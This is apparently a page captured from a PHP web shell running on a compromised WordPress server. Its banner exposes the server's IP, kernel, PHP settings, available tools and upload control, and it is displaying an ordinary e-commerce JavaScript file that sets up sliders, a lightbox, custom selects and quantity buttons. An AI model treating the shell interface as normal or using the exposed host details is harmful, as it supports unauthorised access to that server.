Server IP : 52.91.253.208 / Your IP : 13.59.76.150 [ Web Server : Apache System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64 User : daemon ( 1) PHP Version : 7.3.18 Disable Function : NONE Domains : 3 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /opt/bitnami/apps/wordpress/htdocs/wp-content/ |
Upload File : |
document.addEventListener('DOMContentLoaded', function () { /* =============================================================== CUSTOM SELECT [CHOICES.JS] =============================================================== */ function injectClassess(x) { let pickerCustomClass = x.dataset.customclass; let pickerSevClasses = pickerCustomClass.split(' '); x.parentElement.classList.add.apply(x.parentElement.classList, pickerSevClasses); } const selectPicker = document.querySelectorAll('.selectpicker'); if (selectPicker.length) { selectPicker.forEach((el) => { const customSelect = new Choices(el, { placeholder: true, searchEnabled: false, itemSelectText: '', callbackOnInit: () => injectClassess(el), }); }); } /* =============================================================== GLIGHTBOX =============================================================== */ const lightbox = GLightbox({ touchNavigation: true, }); /* =============================================================== PRODUCT DETAIL SLIDER =============================================================== */ var productSliderThumbs = new Swiper('.product-slider-thumbs', { direction: 'horizontal', slidesPerView: 5, spaceBetween: 10, breakpoints: { 560: { direction: 'vertical', slidesPerView: 1, spaceBetween: 0, }, }, }); var productsSlider = new Swiper('.product-slider', { slidesPerView: 1, spaceBetween: 0, thumbs: { swiper: productSliderThumbs, }, }); /* =============================================================== DISABLE UNWORKED ANCHORS =============================================================== */ document.querySelectorAll('a[href="#').forEach((el) => { el.addEventListener('click', function (e) { e.preventDefault(); }); }); /* =============================================================== PRODUCT QUNATITY =============================================================== */ document.querySelectorAll('.dec-btn').forEach((el) => { el.addEventListener('click', () => { var siblings = el.parentElement.querySelector('input'); if (parseInt(siblings.value, 10) >= 1) { siblings.value = parseInt(siblings.value, 10) - 1; } }); }); document.querySelectorAll('.inc-btn').forEach((el) => { el.addEventListener('click', () => { var siblings = el.parentElement.querySelector('input'); siblings.value = parseInt(siblings.value, 10) + 1; }); }); });